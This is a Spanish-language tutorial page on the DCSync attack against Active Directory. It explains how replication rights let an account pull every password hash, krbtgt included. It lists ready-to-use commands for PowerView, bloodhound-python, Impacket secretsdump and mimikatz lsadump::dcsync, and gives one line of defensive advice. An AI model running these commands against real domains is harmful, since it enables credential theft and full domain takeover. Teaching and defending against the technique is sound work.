Credenciales

DCSync

Cómo una cuenta con derechos de replicación pide los hashes de todo el dominio, incluido krbtgt, sin tocar un Domain Controller.

Qué es

DCSync abusa del protocolo de replicación de Active Directory para pedir los hashes de contraseña de cualquier cuenta del dominio. No toca el disco, la memoria ni los procesos del Domain Controller. Con el hash de krbtgt, el atacante se queda con el dominio entero.

Cómo funciona

Los Domain Controllers se sincronizan con un protocolo de replicación. Se piden los cambios entre ellos, incluidos los hashes. El controlador entrega esos datos a cualquier cuenta que tenga dos derechos sobre el objeto de dominio: DS-Replication-Get-Changes y DS-Replication-Get-Changes-All. El protocolo no comprueba si quien pide es de verdad un Domain Controller. Solo comprueba los derechos. Una estación de trabajo con esos derechos recibe los hashes igual que un socio de replicación.

Diagrama

Comandos

Ver qué cuentas tienen derechos de replicación, con PowerView:

Get-DomainObjectAcl -Identity "DC=<DOMAIN>,DC=<TLD>" -ResolveGUIDs | ? { $_.ObjectAceType -match 'Replication' }

Mapear las rutas hacia esas cuentas con BloodHound. Recolectar con el ingestor de Python:

bloodhound-python -u <USER> -p <PASSWORD> -d <DOMAIN> -dc <HOST> -ns <IP> -c All

Ejecutar DCSync desde Linux con Impacket. Solo la cuenta krbtgt:

secretsdump.py <DOMAIN>/<USER>:<PASSWORD>@<IP> -just-dc-user krbtgt

Todas las cuentas del dominio:

secretsdump.py <DOMAIN>/<USER>:<PASSWORD>@<IP> -just-dc

En Windows, con mimikatz. La cuenta krbtgt:

lsadump::dcsync /domain:<DOMAIN> /user:krbtgt

Todas las cuentas, a CSV:

lsadump::dcsync /domain:<DOMAIN> /all /csv

Cómo defenderse

Audita quién tiene los derechos de replicación sobre el objeto de dominio y quita los que no hagan falta.

Siguiente

Puedes seguir leyendo aquí:

CredencialesAS-REP Roasting

No te pierdas ninguna noticia

Recibe un correo cuando haya alguna actualización importante.

Al suscribirte aceptas la política de privacidad.